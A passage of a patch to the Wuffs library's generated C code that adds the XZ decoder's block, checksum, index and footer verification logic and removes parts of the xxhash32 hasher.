WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED)); -+ wuffs_private_impl__ignore_status(wuffs_crc64__ecma_hasher__initialize(&self->private_data.f_crc64, -+ sizeof (wuffs_crc64__ecma_hasher), WUFFS_VERSION, WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED)); -+ wuffs_private_impl__ignore_status(wuffs_sha256__hasher__initialize(&self->private_data.f_sha256, -+ sizeof (wuffs_sha256__hasher), WUFFS_VERSION, WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED)); -+ } -+ v_compressed_size = 0u; -+ v_uncompressed_size = 0u; -+ while (true) { -+ if (((uint64_t)(self->private_impl.f_bcj_undo_index)) > ((uint64_t)(io2_a_dst - iop_a_dst))) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_write); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(9); -+ continue; -+ } -+ v_dmark = ((uint64_t)(iop_a_dst - io0_a_dst)); -+ v_smark = ((uint64_t)(iop_a_src - io0_a_src)); -+ if (self->private_impl.f_num_non_final_filters == 0u) { -+ { -+ if (a_dst) { -+ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); -+ } -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ wuffs_base__status t_4 = wuffs_lzma__decoder__transform_io(&self->private_data.f_lzma, a_dst, a_src, a_workbuf); -+ v_status = t_4; -+ if (a_dst) { -+ iop_a_dst = a_dst->data.ptr + a_dst->meta.wi; -+ } -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ } -+ } else { -+ if (self->private_impl.f_bcj_undo_index > 0u) { -+ wuffs_private_impl__io_writer__copy_from_slice(&iop_a_dst, io2_a_dst,wuffs_base__make_slice_u8(self->private_data.f_filter_data[0u], self->private_impl.f_bcj_undo_index)); -+ self->private_impl.f_bcj_undo_index = 0u; -+ } -+ { -+ uint8_t* o_0_io0_a_dst = io0_a_dst; -+ uint8_t* o_0_io1_a_dst = io1_a_dst; -+ io0_a_dst = iop_a_dst; -+ io1_a_dst = iop_a_dst; -+ wuffs_base__io_buffer o_0_a_dst; -+ if (a_dst) { -+ memcpy(&o_0_a_dst, a_dst, sizeof(*a_dst)); -+ size_t wi0 = a_dst->meta.wi; -+ a_dst->data.ptr += wi0; -+ a_dst->data.len -= wi0; -+ a_dst->meta.ri = 0; -+ a_dst->meta.wi = 0; -+ a_dst->meta.pos = wuffs_base__u64__sat_add(a_dst->meta.pos, wi0); -+ } -+ { -+ if (a_dst) { -+ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); -+ } -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ wuffs_base__status t_5 = wuffs_lzma__decoder__transform_io(&self->private_data.f_lzma, a_dst, a_src, a_workbuf); -+ v_status = t_5; -+ if (a_dst) { -+ iop_a_dst = a_dst->data.ptr + a_dst->meta.wi; -+ } -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ } -+ if (a_dst) { -+ memcpy(a_dst, &o_0_a_dst, sizeof(*a_dst)); -+ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); -+ io0_a_dst = o_0_io0_a_dst; -+ io1_a_dst = o_0_io1_a_dst; -+ } -+ } -+ self->private_impl.f_bcj_undo_index = wuffs_xz__decoder__apply_non_final_filters(self, wuffs_private_impl__io__since(v_dmark, ((uint64_t)(iop_a_dst - io0_a_dst)), io0_a_dst)); -+ if ((self->private_impl.f_bcj_undo_index > 0u) && ! wuffs_base__status__is_ok(&v_status)) { -+ v_i8 = ((uint8_t)(self->private_impl.f_bcj_undo_index - 1u)); -+ while (true) { -+ if ( ! (iop_a_dst > io1_a_dst)) { -+ status = wuffs_base__make_status(wuffs_xz__error__internal_error_inconsistent_bcj_filter_state); -+ goto exit; -+ } -+ self->private_data.f_filter_data[0u][v_i8] = iop_a_dst[-1]; -+ iop_a_dst--; -+ if (v_i8 <= 0u) { -+ break; -+ } - #if defined(__GNUC__) - #pragma GCC diagnostic push - #pragma GCC diagnostic ignored "-Wconversion" - #endif -- self->private_impl.f_buf_len += 1u; -+ v_i8 -= 1u; - #if defined(__GNUC__) - #pragma GCC diagnostic pop - #endif -- a_x = wuffs_base__slice_u8__subslice_i(a_x, 1u); -- } -- v_buf_len = ((uint32_t)((self->private_impl.f_buf_len & 15u))); -- v_v0 = self->private_impl.f_v0; -- v_v1 = self->private_impl.f_v1; -- v_v2 = self->private_impl.f_v2; -- v_v3 = self->private_impl.f_v3; -- { -- wuffs_base__slice_u8 i_slice_p = a_x; -- v_p.ptr = i_slice_p.ptr; -- v_p.len = 16; -- uint8_t* i_end0_p = v_p.ptr + (((i_slice_p.len - (size_t)(v_p.ptr - i_slice_p.ptr)) / 16) * 16); -- while (v_p.ptr < i_end0_p) { -- v_buf_u32 = (((uint32_t)(v_p.ptr[0u])) | -- (((uint32_t)(v_p.ptr[1u])) << 8u) | -- (((uint32_t)(v_p.ptr[2u])) << 16u) | -- (((uint32_t)(v_p.ptr[3u])) << 24u)); -- v_v0 = ((uint32_t)(v_v0 + ((uint32_t)(v_buf_u32 * 2246822519u)))); -- v_v0 = (((uint32_t)(v_v0 << 13u)) | (v_v0 >> 19u)); -- v_v0 = ((uint32_t)(v_v0 * 2654435761u)); -- v_buf_u32 = (((uint32_t)(v_p.ptr[4u])) | -- (((uint32_t)(v_p.ptr[5u])) << 8u) | -- (((uint32_t)(v_p.ptr[6u])) << 16u) | -- (((uint32_t)(v_p.ptr[7u])) << 24u)); -- v_v1 = ((uint32_t)(v_v1 + ((uint32_t)(v_buf_u32 * 2246822519u)))); -- v_v1 = (((uint32_t)(v_v1 << 13u)) | (v_v1 >> 19u)); -- v_v1 = ((uint32_t)(v_v1 * 2654435761u)); -- v_buf_u32 = (((uint32_t)(v_p.ptr[8u])) | -- (((uint32_t)(v_p.ptr[9u])) << 8u) | -- (((uint32_t)(v_p.ptr[10u])) << 16u) | -- (((uint32_t)(v_p.ptr[11u])) << 24u)); -- v_v2 = ((uint32_t)(v_v2 + ((uint32_t)(v_buf_u32 * 2246822519u)))); -- v_v2 = (((uint32_t)(v_v2 << 13u)) | (v_v2 >> 19u)); -- v_v2 = ((uint32_t)(v_v2 * 2654435761u)); -- v_buf_u32 = (((uint32_t)(v_p.ptr[12u])) | -- (((uint32_t)(v_p.ptr[13u])) << 8u) | -- (((uint32_t)(v_p.ptr[14u])) << 16u) | -- (((uint32_t)(v_p.ptr[15u])) << 24u)); -- v_v3 = ((uint32_t)(v_v3 + ((uint32_t)(v_buf_u32 * 2246822519u)))); -- v_v3 = (((uint32_t)(v_v3 << 13u)) | (v_v3 >> 19u)); -- v_v3 = ((uint32_t)(v_v3 * 2654435761u)); -- v_p.ptr += 16; -- } -- v_p.len = 1; -- uint8_t* i_end1_p = i_slice_p.ptr + i_slice_p.len; -- while (v_p.ptr < i_end1_p) { -- self->private_impl.f_buf_data[v_buf_len] = v_p.ptr[0u]; -- v_buf_len = ((v_buf_len + 1u) & 15u); -- v_p.ptr += 1; -+ } -+ } -+ } -+ v_compressed_size += wuffs_private_impl__io__count_since(v_smark, ((uint64_t)(iop_a_src - io0_a_src))); -+ v_uncompressed_size += wuffs_private_impl__io__count_since(v_dmark, ((uint64_t)(iop_a_dst - io0_a_dst))); -+ if (self->private_impl.f_ignore_checksum) { -+ } else if (self->private_impl.f_checksummer == 1u) { -+ wuffs_crc32__ieee_hasher__update(&self->private_data.f_crc32, wuffs_private_impl__io__since(v_dmark, ((uint64_t)(iop_a_dst - io0_a_dst)), io0_a_dst)); -+ } else if (self->private_impl.f_checksummer == 2u) { -+ wuffs_crc64__ecma_hasher__update(&self->private_data.f_crc64, wuffs_private_impl__io__since(v_dmark, ((uint64_t)(iop_a_dst - io0_a_dst)), io0_a_dst)); -+ } else if (self->private_impl.f_checksummer == 3u) { -+ wuffs_sha256__hasher__update(&self->private_data.f_sha256, wuffs_private_impl__io__since(v_dmark, ((uint64_t)(iop_a_dst - io0_a_dst)), io0_a_dst)); -+ } -+ if (wuffs_base__status__is_ok(&v_status)) { -+ break; -+ } -+ status = v_status; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(10); -+ } -+ if ((self->private_impl.f_block_has_compressed_size && (self->private_impl.f_block_compressed_size != v_compressed_size)) || (self->private_impl.f_block_has_uncompressed_size && (self->private_impl.f_block_uncompressed_size != v_uncompressed_size))) { -+ status = wuffs_base__make_status(wuffs_xz__error__bad_block_header); -+ goto exit; -+ } -+ wuffs_private_impl__u64__sat_add_indirect(&self->private_impl.f_compressed_size_for_index, v_compressed_size); -+ wuffs_private_impl__u64__sat_add_indirect(&self->private_impl.f_compressed_size_for_index, ((uint64_t)(WUFFS_XZ__CHECKSUM_LENGTH[self->private_impl.f_checksummer]))); -+ self->private_impl.f_verification_have_total_sizes[0u] += self->private_impl.f_compressed_size_for_index; -+ v_hash = ((uint32_t)((self->private_impl.f_compressed_size_for_index ^ (self->private_impl.f_compressed_size_for_index >> 32u)))); -+ v_hash *= 3432918353u; -+ v_hash = (((uint32_t)(v_hash << 15u)) | (v_hash >> 17u)); -+ v_hash *= 461845907u; -+ v_hash ^= self->private_impl.f_verification_have_hashed_sizes[0u]; -+ v_hash = (((uint32_t)(v_hash << 13u)) | (v_hash >> 19u)); -+ self->private_impl.f_verification_have_hashed_sizes[0u] = ((uint32_t)(((uint32_t)(v_hash * 5u)) + 3864292196u)); -+ self->private_impl.f_verification_have_total_sizes[1u] += v_uncompressed_size; -+ v_hash = ((uint32_t)((v_uncompressed_size ^ (v_uncompressed_size >> 32u)))); -+ v_hash *= 3432918353u; -+ v_hash = (((uint32_t)(v_hash << 15u)) | (v_hash >> 17u)); -+ v_hash *= 461845907u; -+ v_hash ^= self->private_impl.f_verification_have_hashed_sizes[1u]; -+ v_hash = (((uint32_t)(v_hash << 13u)) | (v_hash >> 19u)); -+ self->private_impl.f_verification_have_hashed_sizes[1u] = ((uint32_t)(((uint32_t)(v_hash * 5u)) + 3864292196u)); -+ while ((v_compressed_size & 3u) != 0u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(11); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_6 = *iop_a_src++; -+ v_c8 = t_6; -+ } -+ if (v_c8 != 0u) { -+ status = wuffs_base__make_status(wuffs_xz__error__bad_padding); -+ goto exit; -+ } -+ v_compressed_size += 1u; -+ } -+ self->private_impl.f_lzma_needs_reset = true; -+ if (self->private_impl.f_ignore_checksum) { -+ self->private_data.s_do_transform_io.scratch = ((uint32_t)(WUFFS_XZ__CHECKSUM_LENGTH[self->private_impl.f_checksummer])); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(12); -+ if (self->private_data.s_do_transform_io.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { -+ self->private_data.s_do_transform_io.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); -+ iop_a_src = io2_a_src; -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ iop_a_src += self->private_data.s_do_transform_io.scratch; -+ } else if (self->private_impl.f_checksummer == 1u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(13); -+ uint32_t t_7; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -+ t_7 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); -+ iop_a_src += 4; -+ } else { -+ self->private_data.s_do_transform_io.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(14); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_do_transform_io.scratch; -+ uint32_t num_bits_7 = ((uint32_t)(*scratch >> 56)); -+ *scratch <<= 8; -+ *scratch >>= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_7; -+ if (num_bits_7 == 24) { -+ t_7 = ((uint32_t)(*scratch)); -+ break; -+ } -+ num_bits_7 += 8u; -+ *scratch |= ((uint64_t)(num_bits_7)) << 56; -+ } -+ } -+ v_checksum32_want = t_7; -+ } -+ v_checksum32_have = wuffs_crc32__ieee_hasher__checksum_u32(&self->private_data.f_crc32); -+ if (v_checksum32_have != v_checksum32_want) { -+ status = wuffs_base__make_status(wuffs_xz__error__bad_checksum); -+ goto exit; -+ } -+ } else if (self->private_impl.f_checksummer == 2u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(15); -+ uint64_t t_8; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 8)) { -+ t_8 = wuffs_base__peek_u64le__no_bounds_check(iop_a_src); -+ iop_a_src += 8; -+ } else { -+ self->private_data.s_do_transform_io.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(16); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_do_transform_io.scratch; -+ uint32_t num_bits_8 = ((uint32_t)(*scratch >> 56)); -+ *scratch <<= 8; -+ *scratch >>= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_8; -+ if (num_bits_8 == 56) { -+ t_8 = ((uint64_t)(*scratch)); -+ break; -+ } -+ num_bits_8 += 8u; -+ *scratch |= ((uint64_t)(num_bits_8)) << 56; -+ } -+ } -+ v_checksum64_want = t_8; -+ } -+ v_checksum64_have = wuffs_crc64__ecma_hasher__checksum_u64(&self->private_data.f_crc64); -+ if (v_checksum64_have != v_checksum64_want) { -+ status = wuffs_base__make_status(wuffs_xz__error__bad_checksum); -+ goto exit; -+ } -+ } else if (self->private_impl.f_checksummer == 3u) { -+ v_checksum256_have = wuffs_sha256__hasher__checksum_bitvec256(&self->private_data.f_sha256); -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(17); -+ uint64_t t_9; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 8)) { -+ t_9 = wuffs_base__peek_u64be__no_bounds_check(iop_a_src); -+ iop_a_src += 8; -+ } else { -+ self->private_data.s_do_transform_io.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(18); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_do_transform_io.scratch; -+ uint32_t num_bits_9 = ((uint32_t)(*scratch & 0xFFu)); -+ *scratch >>= 8; -+ *scratch <<= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_9); -+ if (num_bits_9 == 56) { -+ t_9 = ((uint64_t)(*scratch >> 0)); -+ break; -+ } -+ num_bits_9 += 8u; -+ *scratch |= ((uint64_t)(num_bits_9)); -+ } -+ } -+ v_checksum64_want = t_9; -+ } -+ if (wuffs_base__bitvec256__get_u64(&v_checksum256_have, 3u) != v_checksum64_want) { -+ status = wuffs_base__make_status(wuffs_xz__error__bad_checksum); -+ goto exit; -+ } -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(19); -+ uint64_t t_10; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 8)) { -+ t_10 = wuffs_base__peek_u64be__no_bounds_check(iop_a_src); -+ iop_a_src += 8; -+ } else { -+ self->private_data.s_do_transform_io.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(20); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_do_transform_io.scratch; -+ uint32_t num_bits_10 = ((uint32_t)(*scratch & 0xFFu)); -+ *scratch >>= 8; -+ *scratch <<= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_10); -+ if (num_bits_10 == 56) { -+ t_10 = ((uint64_t)(*scratch >> 0)); -+ break; -+ } -+ num_bits_10 += 8u; -+ *scratch |= ((uint64_t)(num_bits_10)); -+ } -+ } -+ v_checksum64_want = t_10; -+ } -+ if (wuffs_base__bitvec256__get_u64(&v_checksum256_have, 2u) != v_checksum64_want) { -+ status = wuffs_base__make_status(wuffs_xz__error__bad_checksum); -+ goto exit; -+ } -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(21); -+ uint64_t t_11; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 8)) { -+ t_11 = wuffs_base__peek_u64be__no_bounds_check(iop_a_src); -+ iop_a_src += 8; -+ } else { -+ self->private_data.s_do_transform_io.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(22); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_do_transform_io.scratch; -+ uint32_t num_bits_11 = ((uint32_t)(*scratch & 0xFFu)); -+ *scratch >>= 8; -+ *scratch <<= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_11); -+ if (num_bits_11 == 56) { -+ t_11 = ((uint64_t)(*scratch >> 0)); -+ break; -+ } -+ num_bits_11 += 8u; -+ *scratch |= ((uint64_t)(num_bits_11)); -+ } -+ } -+ v_checksum64_want = t_11; -+ } -+ if (wuffs_base__bitvec256__get_u64(&v_checksum256_have, 1u) != v_checksum64_want) { -+ status = wuffs_base__make_status(wuffs_xz__error__bad_checksum); -+ goto exit; -+ } -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(23); -+ uint64_t t_12; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 8)) { -+ t_12 = wuffs_base__peek_u64be__no_bounds_check(iop_a_src); -+ iop_a_src += 8; -+ } else { -+ self->private_data.s_do_transform_io.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(24); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_do_transform_io.scratch; -+ uint32_t num_bits_12 = ((uint32_t)(*scratch & 0xFFu)); -+ *scratch >>= 8; -+ *scratch <<= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_12); -+ if (num_bits_12 == 56) { -+ t_12 = ((uint64_t)(*scratch >> 0)); -+ break; -+ } -+ num_bits_12 += 8u; -+ *scratch |= ((uint64_t)(num_bits_12)); -+ } -+ } -+ v_checksum64_want = t_12; -+ } -+ if (wuffs_base__bitvec256__get_u64(&v_checksum256_have, 0u) != v_checksum64_want) { -+ status = wuffs_base__make_status(wuffs_xz__error__bad_checksum); -+ goto exit; -+ } -+ } -+ } -+ self->private_impl.f_backwards_size = 0u; -+ if ( ! self->private_impl.f_ignore_checksum) { -+ wuffs_private_impl__ignore_status(wuffs_crc32__ieee_hasher__initialize(&self->private_data.f_crc32, -+ sizeof (wuffs_crc32__ieee_hasher), WUFFS_VERSION, WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED)); -+ } -+ while (true) { -+ v_smark = ((uint64_t)(iop_a_src - io0_a_src)); -+ { -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ wuffs_base__status t_13 = wuffs_xz__decoder__verify_index(self, a_src); -+ v_status = t_13; -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ } -+ wuffs_private_impl__u64__sat_add_indirect(&self->private_impl.f_backwards_size, wuffs_private_impl__io__count_since(v_smark, ((uint64_t)(iop_a_src - io0_a_src)))); -+ if ( ! self->private_impl.f_ignore_checksum) { -+ wuffs_crc32__ieee_hasher__update(&self->private_data.f_crc32, wuffs_private_impl__io__since(v_smark, ((uint64_t)(iop_a_src - io0_a_src)), io0_a_src)); -+ } -+ if (wuffs_base__status__is_ok(&v_status)) { -+ break; -+ } -+ status = v_status; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(25); -+ } -+ if ( ! self->private_impl.f_ignore_checksum) { -+ wuffs_crc32__ieee_hasher__update(&self->private_data.f_crc32, wuffs_base__make_slice_u8(wuffs_base__strip_const_from_u8_ptr(WUFFS_XZ__ZEROES), (3u & ((uint64_t)(0u - (3u & self->private_impl.f_backwards_size)))))); -+ } -+ while ((self->private_impl.f_backwards_size & 3u) != 0u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(26); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_14 = *iop_a_src++; -+ v_c8 = t_14; -+ } -+ if (v_c8 != 0u) { -+ status = wuffs_base__make_status(wuffs_xz__error__bad_index); -+ goto exit; -+ } -+ self->private_impl.f_backwards_size += 1u; -+ } -+ self->private_impl.f_backwards_size >>= 2u; -+ if ((self->private_impl.f_backwards_size == 0u) || (self->private_impl.f_backwards_size > 4294967295u)) { -+ status = wuffs_base__make_status(wuffs_xz__error__bad_index); -+ goto exit; -+ } -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(27); -+ uint32_t t_15; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -+ t_15 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); -+ iop_a_src += 4; -+ } else { -+ self->private_data.s_do_transform_io.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(28); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_do_transform_io.scratch; -+ uint32_t num_bits_15 = ((uint32_t)(*scratch >> 56)); -+ *scratch <<= 8; -+ *scratch >>= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_15; -+ if (num_bits_15 == 24) { -+ t_15 = ((uint32_t)(*scratch)); -+ break; -+ } -+ num_bits_15 += 8u; -+ *scratch |= ((uint64_t)(num_bits_15)) << 56; -+ } -+ } -+ v_checksum32_want = t_15; -+ } -+ if (self->private_impl.f_ignore_checksum) { -+ } else if (v_checksum32_want != wuffs_crc32__ieee_hasher__checksum_u32(&self->private_data.f_crc32)) { -+ status = wuffs_base__make_status(wuffs_xz__error__bad_checksum); -+ goto exit; -+ } else { -+ wuffs_private_impl__ignore_status(wuffs_crc32__ieee_hasher__initialize(&self->private_data.f_crc32, -+ sizeof (wuffs_crc32__ieee_hasher), WUFFS_VERSION, WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED)); -+ } -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(29); -+ uint32_t t_16; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -+ t_16 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); -+ iop_a_src += 4; -+ } else { -+ self->private_data.s_do_transform_io.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(30); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_do_transform_io.scratch; -+ uint32_t num_bits_16 = ((uint32_t)(*scratch >> 56)); -+ *scratch <<= 8; -+ *scratch >>= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_16; -+ if (num_bits_16 == 24) { -+ t_16 = ((uint32_t)(*scratch)); -+ break; -+ } -+ num_bits_16 += 8u; -+ *scratch |= ((uint64_t)(num_bits_16)) << 56; -+ } -+ } -+ v_checksum32_want = t_16; -+ } -+ while (true) { -+ v_smark = ((uint64_t)(iop_a_src - io0_a_src)); -+ { -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ wuffs_base__status t_17 = wuffs_xz__decoder__verify_footer(self, a_src); -+ v_status = t_17; -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ } -+ if ( ! self->private_impl.f_ignore_checksum) { -+ wuffs_crc32__ieee_hasher__update(&self->private_data.f_crc32, wuffs_private_impl__io__since(v_smark, ((uint64_t)(iop_a_src - io0_a_src)), io0_a_src)); -+ } -+ if (wuffs_base__status__is_ok(&v_status)) { -+ break; -+ } -+ status = v_status; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(31); -+ } -+ if ( ! self->private_impl.f_ignore_checksum && (v_checksum32_want != wuffs_crc32__ieee_hasher__checksum_u32(&self->private_data.f_crc32))) { -+ status = wuffs_base__make_status(wuffs_xz__error__bad_checksum); -+ goto exit; -+ } -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(32); -+ uint16_t t_18; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { -+ t_18 = wuffs_base__peek_u16le__no_bounds_check(iop_a_src); -+ iop_a_src += 2; -+ } else { -+ self->private_data.s_do_transform_io.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(33); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_do_transform_io.scratch; -+ uint32_t num_bits_18 = ((uint32_t)(*scratch >> 56)); -+ *scratch <<= 8; -+ *scratch >>= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_18; -+ if (num_bits_18 == 8) { -+ t_18 = ((uint16_t)(*scratch)); -+ break; -+ } -+ num_bits_18 += 8u; -+ *scratch |= ((uint64_t)(num_bits_18)) << 56; -+ } -+ } -+ v_footer_magic = t_18; -+ } -+ if (v_footer_magic != 23129u) { -+ status = wuffs_base__make_status(wuffs_xz__error__bad_footer); -+ goto exit; -+ } -+ if ( ! self->private_impl.f_standalone_format) { -+ break; -+ } -+ while (true) { -+ while (((uint64_t)(io2_a_src - iop_a_src)) < 4u) { -+ if (a_src && a_src->meta.closed) { -+ if (((uint64_t)(io2_a_src - iop_a_src)) == 0u) { -+ goto label__streams__break; -+ } else { -+ status = wuffs_base__make_status(wuffs_xz__error__truncated_input); -+ goto exit; -+ } -+ } -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(34); -+ } -+ v_c32 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); -+ if (v_c32 == 1484404733u) { -+ break; -+ } else if (v_c32 != 0u) { -+ status = wuffs_base__make_status(wuffs_xz__error__bad_header_concatenated_stream); -+ goto exit; -+ } -+ iop_a_src += 4u; -+ } -+ self->private_impl.f_started_verify_index = false; - } -- v_p.len = 0; -- } -- self->private_impl.f_buf_len = ((uint8_t)(v_buf_len)); -- self->private_impl.f_v0 = v_v0; -- self->private_impl.f_v1 = v_v1; -- self->private_impl.f_v2 = v_v2; -- self->private_impl.f_v3 = v_v3; -- return wuffs_base__make_empty_struct(); --} -- --// -------- func xxhash32.hasher.checksum_u32 -+ label__streams__break:; - --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint32_t --wuffs_xxhash32__hasher__checksum_u32( -- const wuffs_xxhash32__hasher* self) { -- if (!self) { -- return 0; -- } -- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -- return 0; -+ ok: -+ self->private_impl.p_do_transform_io = 0; -+ goto exit; - } - -- uint32_t v_ret = 0; -- uint32_t v_i = 0; -- uint32_t v_n = 0; -- uint32_t v_buf_u32 = 0; -+ goto suspend; -+ suspend: -+ self->private_impl.p_do_transform_io = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_data.s_do_transform_io.v_checksum32_have = v_checksum32_have; -+ self->private_data.s_do_transform_io.v_checksum32_want = v_checksum32_want; -+ self->private_data.s_do_transform_io.v_checksum256_have = v_checksum256_have; -+ self->private_data.s_do_transform_io.v_compressed_size = v_compressed_size; -+ self->private_data.s_do_transform_io.v_uncompressed_size = v_uncompressed_size; - -- if ((self->private_impl.f_length_modulo_u32 >= 16u) || self->private_impl.f_length_overflows_u32) { -- v_ret += (((uint32_t)(self->private_impl.f_v0 << 1u)) | (self->private_impl.f_v0 >> 31u)); -- v_ret += (((uint32_t)(self->private_impl.f_v1 << 7u)) | (self->private_impl.f_v1 >> 25u)); -- v_ret += (((uint32_t)(self->private_impl.f_v2 << 12u)) | (self->private_impl.f_v2 >> 20u)); -- v_ret += (((uint32_t)(self->private_impl.f_v3 << 18u)) | (self->private_impl.f_v3 